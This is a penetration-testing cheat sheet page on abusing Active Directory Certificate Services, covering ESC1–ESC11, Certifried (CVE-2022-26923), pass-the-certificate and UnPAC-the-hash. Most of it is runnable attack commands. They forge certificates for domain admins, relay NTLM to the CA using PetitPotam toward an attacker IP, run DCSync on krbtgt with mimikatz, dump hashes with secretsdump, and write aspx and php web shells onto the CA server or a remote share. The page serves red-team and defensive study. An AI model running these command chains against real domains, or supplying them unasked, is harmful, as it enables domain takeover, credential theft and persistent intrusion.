InternalAllTheThings/docs/active-directory/ad-adcs-certificate-services.md

# Active Directory - Certificate Services

Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network. 


## ADCS Enumeration

* crackmapexec: `crackmapexec ldap domain.lab -u username -p password -M adcs`
* ldapsearch: `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* certutil: `certutil.exe -config - -ping`, `certutil -dump`


## ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

**Requirements**

* Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) 


**Exploitation**

* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    # or
    python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
    ```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
    ```ps1
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
    ```
* Use OpenSSL and convert the certificate, do not enter a password
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**WARNING**: These certificates will still be usable even if the user or computer resets their password!

**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.


## ESC2 - Misconfigured Certificate Templates

**Requirements**

* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

**Exploitation**

* Find template
  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  # or
  python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
  ```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).


## ESC3 - Misconfigured Enrollment Agent Templates

> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

* Request a certificate based on the vulnerable certificate template ESC3.
  ```ps1
  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
  [*] Saved certificate and private key to 'john.pfx'
  ```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user 
  ```ps1
  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
  ```


## ESC4 - Access Control Vulnerabilities

> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  ```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

  # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
  C:\>StandIn.exe --adcs --filter WebServer --ess --add
  ```
* Perform ESC1 and then restore the value
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
  ```

Using Certipy

```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```


## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name. 

**Exploitation**

* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
    ```ps1
    Certify.exe cas
    ```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

**Mitigation**

* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


## ESC7 - Vulnerable Certificate Authority Access Control

**Exploitation**

* Detect CAs that allow low privileged users the `ManageCA`  or `Manage Certificates` permissions
    ```ps1
    Certify.exe find /vulnerable
    ```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* Request the certificate with the desired SAN.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* Grant approval if required or disable the approval requirement
    ```ps1
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart
    ```

Alternative exploitation from **ManageCA** to **RCE** on ADCS server: 

```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```


## ESC8 - AD CS Relay Attack

> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)

* **Version 1**: NTLM Relay + Rubeus + PetitPotam
  ```powershell
  impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
  impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
  # For a member server or workstation, the template would be "Computer".
  # Other templates: workstation, DomainController, Machine, KerberosAuthentication

  # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
  # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
  git clone https://github.com/topotam/PetitPotam
  python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
  python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
  python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
  python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

  # Use the certificate with rubeus to request a TGT
  Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
  Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

  # Now you can use the TGT to perform a DCSync
  mimikatz> lsadump::dcsync /user:krbtgt
  ```

* **Version 2**: NTLM Relay + Mimikatz + Kekeo
  ```powershell
  impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

  # Mimikatz
  mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

  # Kekeo
  kekeo> base64 /input:on
  kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt

  # Mimikatz
  mimikatz> lsadump::dcsync /user:krbtgt
  ```

* **Version 3**: Kerberos Relay
  ```ps1
  # Setup the relay
  sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

  # Run mitm6
  sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
  ```

* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
  ```powershell
  https://github.com/bats3c/ADCSPwn
  adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
  adcspwn.exe --adcs cs.pwnlab.local
  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

  # ADCSPwn arguments
  adcs            -       This is the address of the AD CS server which authentication will be relayed to.
  secure          -       Use HTTPS with the certificate service.
  port            -       The port ADCSPwn will listen on.
  remote          -       Remote machine to trigger authentication from.
  username        -       Username for non-domain context.
  password        -       Password for non-domain context.
  dc              -       Domain controller to query for Certificate Templates (LDAP).
  unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
  output          -       Output path to store base64 generated crt.
  ```

* **Version 5**: Certipy ESC8
  ```ps1
  certipy relay -ca 172.16.19.100
  ```


## ESC9 - No Security Extension

**Requirements**

* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU
* `GenericWrite` over any account A to compromise any account B

**Scenario**

John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local. 
Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.

* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
    ```ps1
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
    ```
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
    ```ps1
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
    ```
* Request the vulnerable certificate template ESC9 from Jane's account.
    ```ps1
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
    ```
* Restore userPrincipalName of Jane to Jane@corp.local.
    ```ps1
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
    ```
* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. 
    ```ps1
    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.
    ```


## ESC11 - Relaying NTLM to ICPR

> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Requirements:
* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork

Exploitation:
1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
    ```ps1
    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
    ```


## Certifried CVE-2022-26923

> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

* Find `ms-DS-MachineAccountQuota`
  ```ps1
  bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' ms-DS-MachineAccountQuota 
  ```
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
  ```ps1
  bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
  certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  ```
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
  ```ps1
  Rubeus.exe tgtdeleg
  export KRB5CCNAME=/tmp/ws02.ccache
  bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
  ```
* Set the `dNSHostName` attribute to match the Domain Controller hostname
  ```ps1
  bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
  bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
  ```
* Request a ticket
  ```ps1
  # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
  certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
  ```
* Either use the pfx or set a RBCD on your machine account to takeover the domain
  ```ps1
  certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

  openssl pkcs12 -in dc.pfx -out dc.pem -nodes
  bloodyAD -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
  getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
  secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 
  ```


## Pass-The-Certificate

> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

* Windows
  ```ps1
  # Information about a cert file
  certutil -v -dump admin.pfx

  # From a Base64 PFX
  Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

  # Grant DCSync rights to an user
  ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
  # To restore
  ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  ```
* Linux
  ```ps1
  # Base64-encoded PFX certificate (string) (password can be set)
  gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
  ​
  # PEM certificate (file) + PEM private key (file)
  gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

  # PFX certificate (file) + password (string, optionnal)
  gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

  # Using Certipy
  certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
  certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
  ```


## UnPAC The Hash

Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.

* Windows
    ```ps1
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    ```
* Linux
    ```ps1
    # Obtain a TGT by validating a PKINIT pre-authentication
    $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    
    # Use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
    ```


## References

* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)
* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
* [AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh](https://www.blackarrow.net/ad-cs-from-manageca-to-rce/)
* [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
* [Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
* [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html)
* [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)
* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)